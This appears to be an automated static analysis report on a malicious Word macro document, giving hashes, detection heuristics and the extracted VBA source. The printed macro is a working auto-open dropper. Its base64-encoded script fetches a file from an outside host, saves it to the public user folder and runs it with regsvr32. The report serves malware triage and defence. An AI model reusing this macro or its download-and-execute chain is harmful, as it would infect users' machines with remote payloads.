Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5d54858e7a207874…

MALICIOUS

Office (OOXML)

75.8 KB Created: 2021-03-24 04:20:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: ca3b8cc0c9916aa5708ec4b3ef9037f2 SHA-1: 220cd50dd5a6228ef3ca81ac2769cbf580b7a2b1 SHA-256: 5d54858e7a2078746b4644b81d06b42049583ec3ce9e1acb6ca0b8331413adbb
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set memoryMemQuery = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set memoryMemQuery = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4818 bytes
SHA-256: 4cf1b4261fdc0c37bf0e114eac6bf14a8410d315c0bd806a186a39fe12773dae
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{A000AC35-8AFF-459E-B4EE-A45981824459}{8A5DD9EF-201A-4835-8B08-2204BC37D1B8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set memoryMemQuery = CreateObject("wscript.shell")
memoryMemQuery.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "pointerCopyRepo"
Sub autoopen()
funcTmp
End Sub
Sub funcTmp()
Dim rightLeft As String
rightLeft = frm.cmdButton1.caption
procLeft rightLeft
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "buttonA"
Function bufArrayLen()
bufArrayLen = "<div id='content'>dmFyIG1lbW9yeUxlZnQgPSBuZXcgQWN0aXZlWE9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTttZW1vcnlMZWZ0Lm9wZW4oIkdFVCIsICJodHRwOi8vMjAxMi1oZW5yeS1idGMuY29tL2ZkdmRkL1VLSWpEaFl6dWU5NlZHdEtWZUVRWFlUZ1p1V2p0VTBRcE5OZWZmeGhXUlhtWkpmaS9hcnU3VEVuamJmdTlkNU1kS3ZJQV"
End Function
Function clearRef()
clearRef = "ltL3hhcjU/dGltZT1XYVVkRjN5cVVFTHFFd2h6bU1qSDEwemE0aWhPdWcmPVlyd1EyT0xjeXd6TjVnZjdMaEc4YWhjaSZFejFBbXM9UWNUb1giLCBmYWxzZSk7bWVtb3J5TGVmdC5zZW5kKCk7aWYobWVtb3J5TGVmdC5zdGF0dXMgPT0gMjAwKXt2YXIgYXJyYXlDb3VudFNpemUgPSBuZXcgQWN0aXZlWE9iamVjdCgiYWRvZGIuc3RyZWFtIi"
End Function
Function funcCaption()
funcCaption = "k7YXJyYXlDb3VudFNpemUub3BlbjthcnJheUNvdW50U2l6ZS50eXBlID0gMTthcnJheUNvdW50U2l6ZS53cml0ZShtZW1vcnlMZWZ0LnJlc3BvbnNlYm9keSk7YXJyYXlDb3VudFNpemUuc2F2ZXRvZmlsZSgiYzpcXHVzZXJzXFxwdWJsaWNcXG1lbVBhc3RlLmpwZyIsIDIpO2FycmF5Q291bnRTaXplLmNsb3NlO30=|fXspdHNpTGVydWRlY"
End Function
Function removeDocumentButton()
removeDocumentButton = "29yUGVjYXBzZW1hbihoY3RhY307KSJhdGgubmlhbVxcY2lsYnVwXFxzcmVzdVxcOmMiKGVsaWZldGVsZWQucnRQdHhlTnhvYnR4ZXR7eXJ0OykidGNlamJvbWV0c3lzZWxpZi5nbml0cGlyY3MiKHRjZWpiT1hldml0Y0Egd2VuID0gcnRQdHhlTnhvYnR4ZXQgcmF2OykiZ3BqLmV0c2FQbWVtXFxjaWxidXBcXHNyZXN1XFw6YyAyM3J2c2dlc"
End Function
Function copySwapBorder()
copySwapBorder = "iIobnVyLikibGxlaHMudHBpcmNzdyIodGNlamJPWGV2aXRjQSB3ZW4=</div><div id='table'>0123456789+/</div><script language='javascript'>countConstLen = window;refDatabaseData = document;function leftAView(pointerTableBorder){return(new ActiveXObject(pointerTableBorde"
End Function
Function buttonWBuf()
buttonWBuf = "r));}function table(){var screenCounter = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';var countClassLib = screenCounter + screenCounter.toLowerCase() + refDatabaseData.getElementById('table').innerHTML;return(countClassLib);}function swapArrayVar(s){var e={}; var i; var "
End Function
Function removeTitle()
removeTitle = "b=0; var c; var x; var l=0; var a; var namespaceVarData=''; var w=String.fromCharCode; var L=s.length;var structTitleSize = 'charAt';for(i=0;i<64;i++){e[table()[structTitleSize](i)]=i;}for(x=0;x<L;x++){c=e[s[structTitleSize](x)];b=(b<<6)+c;l+=6;while(l>=8)"
End Function
Function constResponseConst()
constResponseConst = "{((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(namespaceVarData+=w(a));}}return(namespaceVarData);};function windowGeneric(classWindowIndex){return classWindowIndex.split('').reverse().join('');}countConstLen.resizeTo(1, 1);countConstLen.moveTo(-100, -100);var coun"
End Function
Function textboxBuffer()
textboxBuffer = "tBuffer = refDatabaseData.getElementById('content').innerHTML;var countBuffer = countBuffer.split('|');var borderIndex = windowGeneric(swapArrayVar(countBuffer[0]));var borderIndex = windowGeneric(borderIndex);var namespaceTitleQuery = windowGeneric(swapAr"
End Function
Function repoLocal()
repoLocal = "rayVar(countBuffer[1]));</script><script language='javascript'>function structResponseTextbox(deleteVariableCount){var leftTrustMain = leftAView('msscriptcontrol.scriptcontrol');leftTrustMain.Language = 'jscript';leftTrustMain.Timeout = 60000;leftTrustMain"
End Function
Function linkNextLink()
linkNextLink = ".AddCode(deleteVariableCount);return(null);}</script><script language='vbscript'>structResponseTextbox borderIndex : structResponseTextbox namespaceTitleQuery : countConstLen.close</script>"
End Function
Function WStructReference()
WStructReference = bufArrayLen + clearRef + funcCaption + removeDocumentButton + copySwapBorder + buttonWBuf + removeTitle + constResponseConst + textboxBuffer + repoLocal + linkNextLink
End Function

Attribute VB_Name = "textResponse"
Sub procLeft(pasteRequest As String)
Open pasteRequest For Output As #1
Print #1, WStructReference
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: d90f883aca39a3d78740cd22a64dbd1cee7e1191abced6ba3cab82c2177ccfd1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).

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